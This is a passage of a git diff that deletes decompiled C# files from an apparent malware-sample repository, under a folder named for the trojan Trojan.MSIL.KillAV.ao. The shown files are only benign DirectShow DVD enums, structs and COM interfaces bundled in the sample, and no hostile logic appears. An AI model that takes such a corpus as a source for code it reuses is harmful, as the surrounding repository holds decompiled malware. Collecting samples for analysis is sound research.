b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs deleted file mode 100644 index 0d9e51ff..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdStreamFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdStreamFlags - { - None = 0, - Video = 1, - Audio = 2, - SubPic = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs deleted file mode 100644 index 9e9f5fa0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicAttr.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdSubPicAttr - { - public DvdSubPicType type; - public DvdSubPicCoding coding; - public int language; - public DvdSubPicLangExt languageExt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs deleted file mode 100644 index 5a2ed75e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicCoding.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicCoding -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicCoding - { - RunLength, - Extended, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs deleted file mode 100644 index 84c91d06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicLangExt.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicLangExt -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicLangExt - { - NotSpecified = 0, - CaptionNormal = 1, - CaptionBig = 2, - CaptionChildren = 3, - ClosedNormal = 5, - ClosedBig = 6, - ClosedChildren = 7, - Forced = 9, - DirectorCmtNormal = 13, // 0x0000000D - DirectorCmtBig = 14, // 0x0000000E - DirectorCmtChildren = 15, // 0x0000000F - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs deleted file mode 100644 index a77f24c5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdSubPicType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdSubPicType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdSubPicType - { - NotSpecified, - Language, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs deleted file mode 100644 index 2f9e1bdf..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTimeCode.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTimeCode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTimeCode - { - public byte bHours; - public byte bMinutes; - public byte bSeconds; - public byte bFrames; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs deleted file mode 100644 index 6a70426b..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAppMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAppMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdTitleAppMode - { - NotSpecified = 0, - Karaoke = 1, - Other = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs deleted file mode 100644 index e94c566f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdTitleAttr.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdTitleAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdTitleAttr - { - public DvdTitleAppMode appMode; - public DvdVideoAttr videoAt; - public int numberOfAudioStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs deleted file mode 100644 index ca564fee..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoAttr.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdVideoAttr - { - public bool panscanPermitted; - public bool letterboxPermitted; - public int aspectX; - public int aspectY; - public int frameRate; - public int frameHeight; - public DvdVideoCompress compression; - public bool line21Field1InGOP; - public bool line21Field2InGOP; - public int sourceResolutionX; - public int sourceResolutionY; - public bool isSourceLetterboxed; - public bool isFilmMode; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs deleted file mode 100644 index 56bde9a7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdVideoCompress.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdVideoCompress -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdVideoCompress - { - Other, - Mpeg1, - Mpeg2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs deleted file mode 100644 index 80b208d6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdCmd.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdCmd -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("5a4a97e4-94ee-4a55-9751-74b5643aa27d")] - [ComImport] - public interface IDvdCmd - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForStart(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int WaitForEnd(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs deleted file mode 100644 index 422d74b7..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdControl2.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdControl2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("33BC7430-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdControl2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayTitle(int ulTitle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapterInTitle(int ulTitle, int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTimeInTitle( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReturnFromSubmenu(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayAtTime([In] ref DvdTimeCode pTime, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChapter(int ulChapter, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPrevChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ReplayChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayNextChapter(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayForwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayBackwards(double dSpeed, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowMenu(DvdMenuID MenuID, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Resume(DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectRelativeButton(DvdRelButton buttonDir); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateButton(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAndActivateButton(int ulButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int StillOff(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause([MarshalAs(UnmanagedType.Bool), In] bool bState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAudioStream(int ulAudio, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectSubpictureStream(int ulSubPicture, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSubpictureState([MarshalAs(UnmanagedType.Bool), In] bool bState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAngle(int ulAngle, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalLevel(int ulParentalLevel); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectParentalCountry(byte[] bCountry); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectKaraokeAudioPresentationMode(int ulMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectVideoModePreference(int ulPreferredDisplayMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDVDDirectory([MarshalAs(UnmanagedType.LPWStr), In] string pszwPath); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ActivateAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectAtPosition(DsPOINT point); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayChaptersAutoStop( - int ulTitle, - int ulChapter, - int ulChaptersToPlay, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AcceptParentalLevelChange([MarshalAs(UnmanagedType.Bool), In] bool bAccept); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOption(DvdOptionFlag flag, [MarshalAs(UnmanagedType.Bool), In] bool fState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetState(IDvdState pState, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int PlayPeriodInTitleAutoStop( - int ulTitle, - [In] ref DvdTimeCode pStartTime, - [In] ref DvdTimeCode pEndTime, - DvdCmdFlags dwFlags, - [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetGPRM(int ulIndex, short wValue, DvdCmdFlags dwFlags, [Out] OptIDvdCmd ppCmd); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultMenuLanguage(int Language); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultAudioLanguage(int Language, DvdAudioLangExt audioExtension); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SelectDefaultSubpictureLanguage(int Language, DvdSubPicLangExt subpictureExtension); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs deleted file mode 100644 index 05292833..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdGraphBuilder.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdGraphBuilder -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("FCC152B6-F372-11d0-8E00-00C04FD7C08B")] - [ComImport] - public interface IDvdGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppGB); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDvdInterface([In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppvIF); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderDvdVideoVolume( - [MarshalAs(UnmanagedType.LPWStr), In] string lpcwszPathName, - DvdGraphFlags dwFlags, - out DvdRenderStatus pStatus); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs deleted file mode 100644 index fb9da469..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/IDvdInfo2.cs +++ /dev/null @@ -1,159 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.IDvdInfo2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [Guid("34151510-EEC0-11D2-8201-00A0C9D74842")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IDvdInfo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentDomain(out DvdDomain pDomain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentLocation(out DvdPlayLocation pLocation); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTotalTitleTime(out DvdTimeCode pTotalTime, out int ulTimeCodeFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentButton(out int pulButtonsAvailable, out int pulCurrentButton); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAngle(out int pulAnglesAvailable, out int pulCurrentAngle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentAudio(out int pulStreamsAvailable, out int pulCurrentStream); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentSubpicture( - out int pulStreamsAvailable, - out int pulCurrentStream, - [MarshalAs(UnmanagedType.Bool)] out bool pbIsDisabled); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentUOPS(out int pulUOPs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllSPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAllGPRMs(out IntPtr pRegisterArray); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureLanguage(int ulStream, out int pLanguage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleAttributes(int ulTitle, out DvdMenuAttr pMenu, IntPtr pTitle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVMGAttributes(out DvdMenuAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentVideoAttributes(out DvdVideoAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetAudioAttributes(int ulStream, out DvdAudioAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetKaraokeAttributes(int ulStream, IntPtr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSubpictureAttributes(int ulStream, out DvdSubPicAttr pATR); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDVolumeInfo( - out int pulNumOfVolumes, - out int pulVolume, - out DvdDiscSide pSide, - out int pulNumOfTitles); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextNumberOfLanguages(out int pulNumOfLangs); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextLanguageInfo( - int ulLangIndex, - out int pulNumOfStrings, - out int pLangCode, - out DvdCharSet pbCharacterSet); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsNative( - int ulLangIndex, - int ulStringIndex, - IntPtr pbBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDTextStringAsUnicode( - int ulLangIndex, - int ulStringIndex, - IntPtr pchwBuffer, - int ulMaxBufferSize, - out int pulActualSize, - out int pType); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPlayerParentalLevel(out int pulParentalLevel, [Out] byte[] pbCountryCode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfChapters(int ulTitle, out int pulNumOfChapters); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetTitleParentalLevels(int ulTitle, out int pulParentalLevels); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDVDDirectory(IntPtr pszwPath, int 